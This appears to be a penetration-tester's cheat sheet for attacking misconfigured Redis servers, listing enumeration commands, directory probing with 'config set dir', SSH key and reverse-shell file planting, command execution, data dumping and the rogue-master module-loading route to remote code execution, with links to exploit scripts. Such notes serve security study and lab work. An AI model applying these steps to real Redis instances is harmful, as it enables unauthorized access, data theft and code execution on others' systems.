• Runs on port 6379 — needs a full nmap scan!
• If conec­tion is pos­si­ble via tel­net, use­ful com­mands are: 
  • info
  • CONFIG GET *
  • all keys: keys *
  • It is pos­si­ble to deter­mine which direc­to­ries exist: 

    • config set dir /var/www/htdocs
      -ERR Changing directory: No such file or directory
      set dir /var/www
      +OK
      set dir /var/www/html
      +OK

  • Upload SSH key via redis if there is write access to an user. An user­name has to been known. 
    • https://book.hacktricks.xyz/pentesting/6379-pentesting-redis
    • https://github.com/Avinash-acid/Redis-Server-Exploit/blob/master/redis.py
  • Hint: if there is any write­able direc­to­ry which is avail­able via a web serv­er, try the SSH writ­ing method to write a reverse shell file some­where to a web serv­er directory.
  • Exe­cute com­mands with 

    • system.exec "id"

  • Com­plete list of commands 
    • https://redis.io/commands
  • See
    • https://github.com/Ridter/redis-rce
    • https://github.com/vulhub/redis-rogue-getshell
  • DON’T use tel­net / nc / … Use redis-cli ‑h <ip> to connect.
  • Use redis-dump to dump a bad­ly con­fig­ured redis instance 

    • npm install redis-dump -g
      redis-dump -h 10.10.10.160 --json

Master/slave configuration

In the master/slave con­fig­u­ra­tion, there is one mas­ter which allows only write access and n slaves which allow only read access.

Impor­tant: The mas­ter must not be in the pro­tect­ed mode.

• If he can restart­ed or the con­fig file can be changed, set the –pro­tect­ed-mode no flag.
• If not:
  • On the mas­ter: Set the pass­word with 

    • config set requirepass mypass

  • On the slave: Set the mas­ter’s pass­word with 

    • config set masterauth mypass

  • If a sys­tem wan­t’s the pass­word after log­ging in into the shell again, use the fol­low­ing to authenticate: 

    • auth mypass

Make a node a mas­ter (default):

redis> slaveof no one

Make a node a slave:

redis> slaveof <master_ip> <master_port>

The process is the fol­low­ing, see also the redis-rogue-serv­er script, which needs the addi­tion of the Com­mand module.

1. Set to slave
2. Set out­put db file to mod­ule filename
3. Per­form sync, pass the mod­ule’s bina­ry date escaped
4. Load the module
5. Set to master

Now the mod­ule is insert­ed. Note: The mod­ule exp.so has to be com­piled for the cor­rect architecture.